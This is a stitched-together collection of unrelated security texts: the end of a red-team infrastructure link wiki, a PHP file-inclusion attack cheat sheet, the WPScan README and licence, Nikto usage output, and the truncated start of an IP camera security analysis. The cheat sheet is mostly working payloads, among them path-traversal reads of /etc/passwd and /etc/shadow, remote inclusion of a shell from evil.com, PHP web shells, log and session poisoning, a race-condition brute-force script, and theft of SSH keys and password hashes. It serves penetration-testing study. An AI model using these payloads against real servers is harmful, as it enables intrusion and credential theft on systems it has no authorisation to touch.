Guide](https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/6/pdf/Security_Guide/Red_Hat_Enterprise_Linux-6-Security_Guide-en-US.pdf) * [Debian Documentation on Hardening](https://wiki.debian.org/Hardening) * [Securing Debian Manual](https://www.debian.org/doc/manuals/securing-debian-howto/) * [20 Linux Server Hardening Security Tips - nixCraft](https://www.cyberciti.biz/tips/linux-security.html) * [SANS Linux Security Checklists](https://www.sans.org/score/checklists/linux) * [Docker Your Command & Control (C2)](https://blog.obscuritylabs.com/docker-command-controll-c2/) - [Alex Rymdeko-Harvey (@killswitch_gui)](https://twitter.com/killswitch_gui) ## Specific Hardening Resources There are a number of resources available online discussing the secure setup and design of infrastructures. Not every design consideration will be appropriate for every attack infrastructure, but it's useful to know what options are available and what other testers are doing. Here are some of those resoources: * [Responsible Red Teams - Tim MalcomVetter (@malcomvetter)](https://medium.com/@malcomvetter/responsible-red-teams-1c6209fd43cc) * [Safe Red Team Infrastructure - Tim MalcomVetter (@malcomvetter)](https://medium.com/@malcomvetter/safe-red-team-infrastructure-c5d6a0f13fac) * [Red Team Infrastructure - AWS Encrypted EBS - @_rastamouse](https://rastamouse.me/2018/02/red-team-infrastructure---aws-encrypted-ebs/) * [Attack Infrastructure Logging (4-part series) - Gabriel Mathenge (@_theVIVI)](https://thevivi.net/category/infrastructure/) # Automating Deployments The topics covered in this wiki strengthen attack infrastrctures, but generally require a good deal of time to design and implement. Automation can be used to greatly reduce deployment times, allowing you to deploy more complex setups in less time. Check out these resources about attack infrastructure automation: * [Automated Red Team Infrastructure Deployment with Terraform - Part 1](https://rastamouse.me/2017/08/automated-red-team-infrastructure-deployment-with-terraform---part-1/) - [@_RastaMouse](https://twitter.com/_RastaMouse) * [Automated Red Team Infrastructure Deployment with Terraform - Part 2](https://rastamouse.me/2017/09/automated-red-team-infrastructure-deployment-with-terraform---part-2/) - [@_RastaMouse](https://twitter.com/_RastaMouse) * [Mod_Rewrite Automatic Setup](https://blog.inspired-sec.com/archive/2017/04/17/Mod-Rewrite-Automatic-Setup.html) - [Julian Catrambone (@n0pe_sled)](https://twitter.com/n0pe_sled) * [Automated Empire Infrastructure](https://bneg.io/2017/11/06/automated-empire-infrastructure/) - [Jeremy Johnson (@beyondnegative)](https://twitter.com/beyondnegative) * [RTOps: Automating Redirector Deployment With Ansible](http://threat.tevora.com/automating-redirector-deployment-with-ansible/) - [Kevin Dick](http://threat.tevora.com/author/e0x70i/) * [Automating Gophish Releases With Ansible and Docker](https://jordan-wright.com/blog/post/2018-02-04-automating-gophish-releases/) - [Jordan Wright (@jw_sec)](https://twitter.com/jw_sec) * [Red Baron GitHub Repo](https://github.com/Coalfire-Research/Red-Baron) - [Marcello (@byt3bl33d3r)](https://twitter.com/byt3bl33d3r) * [Automating Apache mod_rewrite and Cobalt Strike Malleable C2 for Intelligent Redirection](http://threatexpress.com/2018/02/automating-cobalt-strike-profiles-apache-mod_rewrite-htaccess-files-intelligent-c2-redirection/) - [Joe Vest (@joevest)](https://twitter.com/joevest) * [Modular Infrastructure with Terraform](https://blog.smallsec.ca/2018/05/17/modular-infrastructure-with-terraform/) - [Liam Somerville (@liamsomerville)](https://twitter.com/liamsomerville) * [Red Team Infrastructure](https://github.com/redteaminfra/redteam-infra/) - [Topher Timzen (@TTimzen)](https://twitter.com/ttimzen) & [r00tkillah](@r00tkillah)](https://twitter.com/r00tkillah) # General Tips * **Document everything** - Running a complex Red Team infrastructure means many moving parts. Be sure to document each asset’s function and where its traffic is sent. * **Split assets among different service providers and regions** - Infrastructure assets should be spread across multiple service providers and geographic regions. Blue Team members may raise monitoring thresholds against providers identified as actively performing an attack and may even outright block a given service provider. Note: keep international privacy laws in mind if sending encrypted or sensitive data across borders. * **Don't go overboard** - It's easy to get excited about advanced techniques and want to throw the kitchen sink at a target. If you are emulating a specific adversarial threat, only leverage techniques the real threat actor used or techniques within the skillset of the threat actor. If your red team testing will attack the same target long-term, consider starting "easy" and working through the more advanced tradecraft as your assessments go on. Evolving the red team's technique alongside the blue team's will consistenly push the organization forward, whereas hitting the blue team with everything at once may overwhelm the blue team and slow the learning process. * **Monitor logs** - All logs should be monitored throughout the engagement: SMTP logs, Apache logs, tcpdump on socat redirectors, iptables logs (specific to traffic forwarding or targeted filtering), weblogs, Cobalt Strike/Empire/MSF logs. Forward logs to a central location, such as with [rsyslog](https://bluescreenofjeff.com/2017-08-08-attack-infrastructure-log-aggregation-and-monitoring/), for easier monitoring. Operator terminal data retention may come in handy for going over an historical command useage during an operation. @Killswitch_GUI created an easy-to-use program named lTerm that will log all bash terminal commands to a central location. [Log all terminal output with lTerm](https://github.com/killswitch-GUI/lterm). Check out Vincent Yiu's post [CobaltSplunk](https://vincentyiu.co.uk/cobaltsplunk/) for an example of how to send Cobalt Strike logs to Splunk for advanced infrastructure monitoring and analysis. * **Implement high-value event alerting** - Configure the attack infrastructure to generate alerts for high-value events, such as new C2 sessions or credential capture hits. One popular way of implementing alerting is via a chat platform's API, such as Slack. Check out the following posts about Slack alerting: [Slack Shell Bot - Russel Van Tuyl (@Ne0nd0g)](https://www.swordshield.com/2016/11/slackshellbot/), [Slack Notifications for Cobalt Strike - Andrew Chiles (@AndrewChiles)](http://threatexpress.com/2016/12/slack-notifications-for-cobalt-strike/), [Slack Bots for Trolls and Work - Jeff Dimmock (@bluscreenfojeff)](http://bluescreenofjeff.com/2017-04-11-slack-bots-for-trolls-and-work/) * **Fingerprint incident response** - If possible, try to passively or actively fingerprint IR actions before the assessment starts. For example, send a mediocre phishing email to the target (using unrelated infrastructure) and monitor traffic that infrastructure receives. IR team investigations can disclose a good deal of information about how the team operates and what infrastructure they use. If this can be determined ahead of the assessment, it can be filtered or redirected outright. # Thanks to Contributors A BIG THANK YOU to all the following people (listed alphabetically) who contributed tools, tips, or links to include in the wiki, and another THANK YOU to anyone who wrote a tool or post referenced in this wiki! * [@andrewchiles - Andrew Chiles](https://twitter.com/andrewchiles) * [@armitagehacker - Raphael Mudge](https://twitter.com/armitagehacker) * [@beyondnegative - Jeremy Johnson](https://twitter.com/beyondnegative) * [@bspence7337](https://twitter.com/bspence7337) * [@domchell - Dominic Chell](https://twitter.com/domchell) * [@jivoi - EK](https://twitter.com/jivoi) * [@joevest - Joe Vest](https://twitter.com/joevest) * [@killswitch_gui - Alex Rymdeko-Harvey](https://twitter.com/killswitch_gui) * [@ne0nd0g - Russel Van Tuyl](https://twitter.com/ne0nd0g) * [@n0pe_sled - Julian Catrambone](https://twitter.com/n0pe_sled) * [@_RastaMouse](https://twitter.com/_RastaMouse) * [@tifkin_ - Lee Christensen](https://twitter.com/tifkin_) * [@Und3rf10w - Jonathan Echavarria](https://twitter.com/und3rf10w) * [@vysecurity - Vincent Yiu](https://twitter.com/vysecurity) * [@xorrior - Chris Ross](https://twitter.com/xorrior)
# File Inclusion > The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application. > The Path Traversal vulnerability allows an attacker to access a file, usually exploiting a "reading" mechanism implemented in the target application ## Summary * [Tools](#tools) * [Basic LFI](#basic-lfi) * [Null byte](#null-byte) * [Double encoding](#double-encoding) * [UTF-8 encoding](#utf-8-encoding) * [Path and dot truncation](#path-and-dot-truncation) * [Filter bypass tricks](#filter-bypass-tricks) * [Basic RFI](#basic-rfi) * [LFI / RFI using wrappers](#lfi--rfi-using-wrappers) * [Wrapper php://filter](#wrapper-phpfilter) * [Wrapper zip://](#wrapper-zip) * [Wrapper data://](#wrapper-data) * [Wrapper expect://](#wrapper-expect) * [Wrapper input://](#wrapper-input) * [Wrapper phar://](#wrapper-phar) * [LFI to RCE via /proc/*/fd](#lfi-to-rce-via-procfd) * [LFI to RCE via /proc/self/environ](#lfi-to-rce-via-procselfenviron) * [LFI to RCE via upload](#lfi-to-rce-via-upload) * [LFI to RCE via upload (race)](#lfi-to-rce-via-upload-race) * [LFI to RCE via phpinfo()](#lfi-to-rce-via-phpinfo) * [LFI to RCE via controlled log file](#lfi-to-rce-via-controlled-log-file) * [LFI to RCE via PHP sessions](#lfi-to-rce-via-php-sessions) * [LFI to RCE via credentials files](#lfi-o-rce-via-credentials-files) ## Tools * [Kadimus - https://github.com/P0cL4bs/Kadimus](https://github.com/P0cL4bs/Kadimus) * [LFISuite - https://github.com/D35m0nd142/LFISuite](https://github.com/D35m0nd142/LFISuite) * [fimap - https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) ## Basic LFI In the following examples we include the `/etc/passwd` file, check the `Directory & Path Traversal` chapter for more interesting files. ```powershell http://example.com/index.php?page=../../../etc/passwd ``` ### Null byte :warning: In versions of PHP below 5.3.4 we can terminate with null byte. ```powershell http://example.com/index.php?page=../../../etc/passwd%00 ``` ### Double encoding ```powershell http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 ``` ### UTF-8 encoding ```powershell http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00 ``` ### Path and dot truncation On most PHP installations a filename longer than 4096 bytes will be cut off so any excess chars will be thrown away. ```powershell http://example.com/index.php?page=../../../etc/passwd............[ADD MORE] http://example.com/index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE] http://example.com/index.php?page=../../../etc/passwd/./././././.[ADD MORE] http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd ``` ### Filter bypass tricks ```powershell http://example.com/index.php?page=....//....//etc/passwd http://example.com/index.php?page=..///////..////..//////etc/passwd http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd ``` ## Basic RFI Most of the filter bypasses from LFI section can be reused for RFI. ```powershell http://example.com/index.php?page=http://evil.com/shell.txt ``` ### Null byte ```powershell http://example.com/index.php?page=http://evil.com/shell.txt%00 ``` ### Double encoding ```powershell http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt ``` ### Bypass allow_url_include When `allow_url_include` and `allow_url_fopen` are set to `Off`. It is still possible to include a remote file on Windows box using the `smb` protocol. 1. Create a share open to everyone 2. Write a PHP code inside a file : `shell.php` 3. Include it `http://example.com/index.php?page=\\10.0.0.1\share\shell.php` ## LFI / RFI using wrappers ### Wrapper php://filter The part "php://filter" is case insensitive ```powershell http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php http://example.com/index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php ``` can be chained with a compression wrapper for large files. ```powershell http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd ``` NOTE: Wrappers can be chained multiple times using `|` or `/`: - Multiple base64 decodes: `php://filter/convert.base64-decoder|convert.base64-decode|convert.base64-decode/resource=%s` - deflate then base64encode (useful for limited character exfil): `php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/index.php` ```powershell ./kadimus -u "http://example.com/index.php?page=vuln" -S -f "index.php%00" -O index.php --parameter page curl "http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php" | base64 -d > index.php ``` ### Wrapper zip:// ```python echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php; zip payload.zip payload.php; mv payload.zip shell.jpg; rm payload.php http://example.com/index.php?page=zip://shell.jpg%23payload.php ``` ### Wrapper data:// ```powershell http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>" ``` Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+` ### Wrapper expect:// ```powershell http://example.com/index.php?page=expect://id http://example.com/index.php?page=expect://ls ``` ### Wrapper input:// Specify your payload in the POST parameters, this can be done with a simple `curl` command. ```powershell curl -X POST --data "<?php echo shell_exec('id'); ?>" "https://example.com/index.php?page=php://input%00" -k -v ``` Alternatively, Kadimus has a module to automate this attack. ```powershell ./kadimus -u "https://example.com/index.php?page=php://input%00" -C '<?php echo shell_exec("id"); ?>' -T input ``` ### Wrapper phar:// Create a phar file with a serialized object in its meta-data. ```php // create new Phar $phar = new Phar('test.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub('<?php __HALT_COMPILER(); ? >'); // add object of any class as meta data class AnyClass {} $object = new AnyClass; $object->data = 'rips'; $phar->setMetadata($object); $phar->stopBuffering(); ``` If a file operation is now performed on our existing Phar file via the phar:// wrapper, then its serialized meta data is unserialized. If this application has a class named AnyClass and it has the magic method __destruct() or __wakeup() defined, then those methods are automatically invoked ```php class AnyClass { function __destruct() { echo $this->data; } } // output: rips include('phar://test.phar'); ``` NOTE: The unserialize is triggered for the phar:// wrapper in any file operation, `file_exists` and many more. ## LFI to RCE via /proc/*/fd 1. Upload a lot of shells (for example : 100) 2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, with $PID = PID of the process (can be bruteforced) and $FD the filedescriptor (can be bruteforced too) ## LFI to RCE via /proc/self/environ Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file ```powershell GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: <?=phpinfo(); ?> ``` ## LFI to RCE via upload If you can upload a file, just inject the shell payload in it (e.g : `<?php system($_GET['c']); ?>` ). ```powershell http://example.com/index.php?page=path/to/uploaded/file.png ``` In order to keep the file readable it is best to inject into the metadata for the pictures/doc/pdf ## LFI to RCE via upload (race) Worlds Quitest Let's Play" * Upload a file and trigger a self-inclusion. * Repeat 1 a shitload of time to: * increase our odds of winning the race * increase our guessing odds * Bruteforce the inclusion of /tmp/[0-9a-zA-Z]{6} * Enjoy our shell. ```python import itertools import requests import sys print('[+] Trying to win the race') f = {'file': open('shell.php', 'rb')} for _ in range(4096 * 4096): requests.post('http://target.com/index.php?c=index.php', f) print('[+] Bruteforcing the inclusion') for fname in itertools.combinations(string.ascii_letters + string.digits, 6): url = 'http://target.com/index.php?c=/tmp/php' + fname r = requests.get(url) if 'load average' in r.text: # <?php echo system('uptime'); print('[+] We have got a shell: ' + url) sys.exit(0) print('[x] Something went wrong, please try again') ``` ## LFI to RCE via phpinfo() PHPinfo() displays the content of any variables such as **$_GET**, **$_POST** and **$_FILES**. > By making multiple upload posts to the PHPInfo script, and carefully controlling the reads, it is possible to retrieve the name of the temporary file and make a request to the LFI script specifying the temporary file name. Use the script phpInfoLFI.py (also available at https://www.insomniasec.com/downloads/publications/phpinfolfi.py) Research from https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf ## LFI to RCE via controlled log file Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file. ```powershell http://example.com/index.php?page=/var/log/apache/access.log http://example.com/index.php?page=/var/log/apache/error.log http://example.com/index.php?page=/var/log/apache2/access.log http://example.com/index.php?page=/var/log/apache2/error.log http://example.com/index.php?page=/var/log/nginx/access.log http://example.com/index.php?page=/var/log/nginx/error.log http://example.com/index.php?page=/var/log/vsftpd.log http://example.com/index.php?page=/var/log/sshd.log http://example.com/index.php?page=/var/log/mail http://example.com/index.php?page=/var/log/httpd/error_log http://example.com/index.php?page=/usr/local/apache/log/error_log http://example.com/index.php?page=/usr/local/apache2/log/error_log ``` ### RCE via SSH Try to ssh into the box with a PHP code as username `<?php system($_GET["cmd"]);?>`. ```powershell ssh <?php system($_GET["cmd"]);?>@10.10.10.10 ``` Then include the SSH log files inside the Web Application. ```powershell http://example.com/index.php?page=/var/log/auth.log&cmd=id ``` ### RCE via Mail First send an email using the open SMTP then include the log file located at `http://example.com/index.php?page=/var/log/mail`. ```powershell root@kali:~# telnet 10.10.10.10. 25 Trying 10.10.10.10.... Connected to 10.10.10.10.. Escape character is '^]'. 220 straylight ESMTP Postfix (Debian/GNU) helo ok 250 straylight mail from: [email protected] 250 2.1.0 Ok rcpt to: root 250 2.1.5 Ok data 354 End data with <CR><LF>.<CR><LF> subject: <?php echo system($_GET["cmd"]); ?> data2 . ``` In some cases you can also send the email with the `mail` command line. ```powershell mail -s "<?php system($_GET['cmd']);?>" [email protected]. < /dev/null ``` ## LFI to RCE via PHP sessions Check if the website use PHP Session (PHPSESSID) ```javascript Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly ``` In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] or /var/lib/php/session/sess_[PHPSESSID] files ```javascript /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; ``` Set the cookie to `<?php system('cat /etc/passwd');?>` ```powershell login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php ``` Use the LFI to include the PHP session file ```powershell login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27 ``` ## LFI to RCE via credentials files This method require high privileges inside the application in order to read the sensitive files. ### Windows version First extract `sam` and `system` files. ```powershell http://example.com/index.php?page=../../../../../../WINDOWS/repair/sam http://example.com/index.php?page=../../../../../../WINDOWS/repair/system ``` Then extract hashes from these files `samdump2 SYSTEM SAM > hashes.txt`, and crack them with `hashcat/john` or replay them using the Pass The Hash technique. ### Linux version First extract `/etc/shadow` files. ```powershell http://example.com/index.php?page=../../../../../../etc/shadow ``` Then crack the hashes inside in order to login via SSH on the machine. Another way to gain SSH access to a Linux machine through LFI is by reading the private key file, id_rsa. If SSH is active check which user is being used `/proc/self/status` and `/etc/passwd` and try to access `/<HOME>/.ssh/id_rsa`. ## References * [OWASP LFI](https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion) * [HighOn.coffee LFI Cheat](https://highon.coffee/blog/lfi-cheat-sheet/) * [Turning LFI to RFI](https://l.avala.mp/?p=241) * [Is PHP vulnerable and under what conditions?](http://0x191unauthorized.blogspot.fr/2015/04/is-php-vulnerable-and-under-what.html) * [Upgrade from LFI to RCE via PHP Sessions](https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/) * [Local file inclusion tricks](http://devels-playground.blogspot.fr/2007/08/local-file-inclusion-tricks.html) * [CVV #1: Local File Inclusion - SI9INT](https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a) * [Exploiting Blind File Reads / Path Traversal Vulnerabilities on Microsoft Windows Operating Systems - @evisneffos](http://www.soffensive.com/2018/06/exploiting-blind-file-reads-path.html) * [Baby^H Master PHP 2017 by @orangetw](https://github.com/orangetw/My-CTF-Web-Challenges#babyh-master-php-2017) * [Чтение файлов => unserialize !](https://rdot.org/forum/showthread.php?t=4379) * [New PHP Exploitation Technique - 14 Aug 2018 by Dr. Johannes Dahse](https://blog.ripstech.com/2018/new-php-exploitation-technique/) * [It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It, Sam Thomas](https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf) * [CVV #1: Local File Inclusion - @SI9INT - Jun 20, 2018](https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a) * [Exploiting Remote File Inclusion (RFI) in PHP application and bypassing remote URL inclusion restriction](http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html?m=1)
![alt text](https://raw.githubusercontent.com/wpscanteam/wpscan/gh-pages/images/wpscan_logo.png "WPScan - WordPress Security Scanner") [![Gem Version](https://badge.fury.io/rb/wpscan.svg)](https://badge.fury.io/rb/wpscan) [![Build Status](https://travis-ci.org/wpscanteam/wpscan.svg?branch=master)](https://travis-ci.org/wpscanteam/wpscan) [![Code Climate](https://codeclimate.com/github/wpscanteam/wpscan/badges/gpa.svg)](https://codeclimate.com/github/wpscanteam/wpscan) [![Patreon Donate](https://img.shields.io/badge/patreon-donate-green.svg)](https://www.patreon.com/wpscan) # INSTALL ## Prerequisites: - Ruby >= 2.2.2 - Recommended: 2.3.3 - Curl >= 7.21 - Recommended: latest - FYI the 7.29 has a segfault - RubyGems - Recommended: latest ### From RubyGems: ``` gem install wpscan ``` ### From sources: Prerequisites: Git ``` git clone https://github.com/wpscanteam/wpscan cd wpscan/ bundle install && rake install ``` # Docker Pull the repo with ```docker pull wpscanteam/wpscan``` # Usage ```wpscan --url blog.tld``` This will scan the blog using default options with a good compromise between speed and accuracy. For example, the plugins will be checked passively but their version with a mixed detection mode (passively + aggressively). Potential config backup files will also be checked, along with other interesting findings. If a more stealthy approach is required, then ```wpscan --stealthy --url blog.tld``` can be used. As a result, when using the ```--enumerate``` option, don't forget to set the ```--plugins-detection``` accordingly, as its default is 'passive'. For more options, open a terminal and type ```wpscan --help``` (if you built wpscan from the source, you should type the command outside of the git repo) The DB is located at ~/.wpscan/db WPScan can load all options (including the --url) from configuration files, the following locations are checked (order: first to last): * ~/.wpscan/cli_options.json * ~/.wpscan/cli_options.yml * pwd/.wpscan/cli_options.json * pwd/.wpscan/cli_options.yml If those files exist, options from them will be loaded and overridden if found twice. e.g: ~/.wpscan/cli_options.yml: ``` proxy: 'http://127.0.0.1:8080' verbose: true ``` pwd/.wpscan/cli_options.yml: ``` proxy: 'socks5://127.0.0.1:9090' url: 'http://target.tld' ``` Running ```wpscan``` in the current directory (pwd), is the same as ```wpscan -v --proxy socks5://127.0.0.1:9090 --url http://target.tld``` # PROJECT HOME [https://wpscan.org](https://wpscan.org) # VULNERABILITY DATABASE [https://wpvulndb.com](https://wpvulndb.com) # LICENSE ## WPScan Public Source License The WPScan software (henceforth referred to simply as "WPScan") is dual-licensed - Copyright 2011-2018 WPScan Team. Cases that include commercialization of WPScan require a commercial, non-free license. Otherwise, WPScan can be used without charge under the terms set out below. ### 1. Definitions 1.1 "License" means this document. 1.2 "Contributor" means each individual or legal entity that creates, contributes to the creation of, or owns WPScan. 1.3 "WPScan Team" means WPScan’s core developers, an updated list of whom can be found within the CREDITS file. ### 2. Commercialization A commercial use is one intended for commercial advantage or monetary compensation. Example cases of commercialization are: - Using WPScan to provide commercial managed/Software-as-a-Service services. - Distributing WPScan as a commercial product or as part of one. - Using WPScan as a value added service/product. Example cases which do not require a commercial license, and thus fall under the terms set out below, include (but are not limited to): - Penetration testers (or penetration testing organizations) using WPScan as part of their assessment toolkit. - Penetration Testing Linux Distributions including but not limited to Kali Linux, SamuraiWTF, BackBox Linux. - Using WPScan to test your own systems. - Any non-commercial use of WPScan. If you need to purchase a commercial license or are unsure whether you need to purchase a commercial license contact us - [email protected]. We may grant commercial licenses at no monetary cost at our own discretion if the commercial usage is deemed by the WPScan Team to significantly benefit WPScan. Free-use Terms and Conditions; ### 3. Redistribution Redistribution is permitted under the following conditions: - Unmodified License is provided with WPScan. - Unmodified Copyright notices are provided with WPScan. - Does not conflict with the commercialization clause. ### 4. Copying Copying is permitted so long as it does not conflict with the Redistribution clause. ### 5. Modification Modification is permitted so long as it does not conflict with the Redistribution clause. ### 6. Contributions Any Contributions assume the Contributor grants the WPScan Team the unlimited, non-exclusive right to reuse, modify and relicense the Contributor's content. ### 7. Support WPScan is provided under an AS-IS basis and without any support, updates or maintenance. Support, updates and maintenance may be given according to the sole discretion of the WPScan Team. ### 8. Disclaimer of Warranty WPScan is provided under this License on an “as is” basis, without warranty of any kind, either expressed, implied, or statutory, including, without limitation, warranties that the WPScan is free of defects, merchantable, fit for a particular purpose or non-infringing. ### 9. Limitation of Liability To the extent permitted under Law, WPScan is provided under an AS-IS basis. The WPScan Team shall never, and without any limit, be liable for any damage, cost, expense or any other payment incurred as a result of WPScan's actions, failure, bugs and/or any other interaction between WPScan and end-equipment, computers, other software or any 3rd party, end-equipment, computer or services. ### 10. Disclaimer Running WPScan against websites without prior mutual consent may be illegal in your country. The WPScan Team accept no liability and are not responsible for any misuse or damage caused by WPScan. ### 11. Trademark The "wpscan" term is a registered trademark. This License does not grant the use of the "wpscan" trademark or the use of the WPScan logo.
## Usage ```bash docker run --rm -ti nikto - Nikto v2.1.6 --------------------------------------------------------------------------- + ERROR: No host specified -config+ Use this config file -Display+ Turn on/off display outputs -dbcheck check database and other key files for syntax errors -Format+ save file (-o) format -Help Extended help information -host+ target host -id+ Host authentication to use, format is id:pass or id:pass:realm -list-plugins List all available plugins -output+ Write output to this file -nossl Disables using SSL -no404 Disables 404 checks -Plugins+ List of plugins to run (default: ALL) -port+ Port to use (default 80) -root+ Prepend root value to all requests, format is /directory -ssl Force ssl mode on port -Tuning+ Scan tuning -timeout+ Timeout for requests (default 10 seconds) -update Update databases and plugins from CIRT.net -Version Print plugin and database versions -vhost+ Virtual host (for Host header) + requires a value Note: This is the short help output. Use -H for full help text. ``` ## Example ```bash docker build -t nikto . # output omitted mkdir nikto docker run --rm --mount type=bind,source="$(pwd)"/nikto,target=/nikto -ti nikto -host fedoraproject.org -output /nikto/nikto.txt ``` Example output: ``` tail nikto/nikto.txt - Nikto v2.1.6/2.1.5 + Target Host: fedoraproject.org + Target Port: 80 + GET Server leaks inodes via ETags, header found with file /NCCGnPo3.xsql, fields: 0x351d 0x55e0e7d579c40;55e0e8450e380 + GET Uncommon header 'tcn' found, with contents: choice + GET Uncommon header 'appserver' found, with contents: proxy06.fedoraproject.org + GET Uncommon header 'apptime' found, with contents: D=9213 + GET "robots.txt" contains 1 entry which should be manually viewed. + GET Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html.af, index.html.ar, index.html.as, index.html.ast, index.html.bal, index.html.bg, index.html.bn, index.html.bn_IN, index.html.br, index.html.ca, index.html.cs, index.html.da, index.html.de, index.html.de_CH, index.html.el, index.html.en, index.html.en_GB, index.html.es, index.html.eu, index.html.fa, index.html.fi, index.html.fr, index.html.gl, index.html.gu, index.html.he, index.html.hi, index.html.hu, index.html.ia, index.html.id, index.html.is, index.html.it, index.html.ja, index.html.ka, index.html.kn, index.html.ko, index.html.lv, index.html.ml, index.html.mr, index.html.nb, index.html.nl, index.html.or, index.html.pa, index.html.pl, index.html.pt, index.html.pt_BR, index.html.ro, index.html.ru, index.html.sk, index.html.sq, index.html.sr, index.html.sv, index.html.ta, index.html.te, index.html.tg, index.html.th, index.html.tr, index.html.uk, index.html.vi, index.html.zh_CN, index.html.zh_TW + OSVDB-2394: GET /path/nw/article.php?id=': News Wizard 2.0 reveals the file system path. ```
# Besder 6024PB-XMA501 IP camera security analysis A cybersecurity analysis of a Besder 6024PB-XMA501 IP camera that started as the final project of my Bachelor's studies. A page of the Besder 6024PB-XMA501 Camera analysis hosted on Github Pages can be found by [following this link](https://kostasereksonas.github.io/Besder-6024PB-XMA501-ip-camera-security-investigation/). Table of Contents ================= * [Besder 6024PB-XMA501 IP camera security analysis](#Besder-6024PB-XMA501-IP-camera-security-analysis) * [Prerequisite](#Prerequisite) * [Analysis Methodology](#Analysis-Methodology) * [Factory Reset](#Factory-Reset) * [Initial Setup](#Initial-Setup) * [Technical Information](#Technical-Information) * [Open ports](#Open-ports) + [TCP port scan](#TCP-port-scan) + [UDP port scan](#UDP-port-scan) + [OS Detection](#OS-Detection) * [Control Panel in a Web Browser](#Control-Panel-in-a-Web-Browser) * [A further investigation of a control panel of an IP camera](#A-further-investigation-of-a-control-panel-of-an-IP-camera) * [Network communication analysis](#Network-communication-analysis) * [Communication with a control panel in a web browser](#Communication-with-a-control-panel-in-a-web-browser) * [Communication With Cloud Services](#Communication-With-Cloud-Services) * [Connecting from web interface](#Connecting-from-web-interface) + [Connection scheme between virtual machine and IP Camera](#Connection-scheme-between-virtual-machine-and-IP-Camera) + [Exchanged queries between virtual machine and IP Camera](#Exchanged-queries-between-virtual-machine-and-IP-Camera) * [Connecting to Besder camera from ICSee app on a smartphone](#Connecting-to-Besder-camera-from-ICSee-app-on-a-smartphone) + [Connection scheme between smartphone and AWS cloud server and IP Camera](#Connection-scheme-between-smartphone-and-AWS-cloud-server-and-IP-Camera) + [Exchanged queries between smartphone and AWS cloud server and IP Camera](#Exchanged-queries-between-smartphone-and-AWS-cloud-server-and-IP-Camera) * [Data security](#Data-security) * [Potential vulnerabilities](#Potential-vulnerabilities) * [Camera firmware](#Camera-firmware) * [Conclusion](#Conclusion) # Prerequisite Security investigation of ***Bsder 6024PB-XMA501*** IP Camera stated as a final project of my Bachelor's studies, which I decided to elaborate on and post it's findings here. The selected Besder camera is one of the cheaper ones that could be found using online reseller websites like AliExpress. ![Camera](/img/Besder.jpg) # Analysis Methodology The whole security analysis of the IP camera was conducted from my custom ***Arch Linux*** operating system installation. Plan of my analysis is as follows: 1. Factory reset of the camera. 2. Initial setup of the camera. 3. Technical and network information discovery about the camera - open ports, OS version, etc. 4. Test camera control capabilities within a control panel in a web browser. 5. Analyze camera's communication with cloud services. 6. Check the security of transmited data. 7. Conclusion of analysis' results. # Factory Reset Tested Besder camera has a separate button installed which, when pressed, defaults settings of the Besder camera. There is also a port for connecting ethernet cable and a socket for connecting power cord. You can see it in the picture below. ![Camera dongles](/img/Camera_dongles.jpg) # Initial Setup Inside the box that arrived there was the camera itself, a screw to fix a camera to a certain place and a 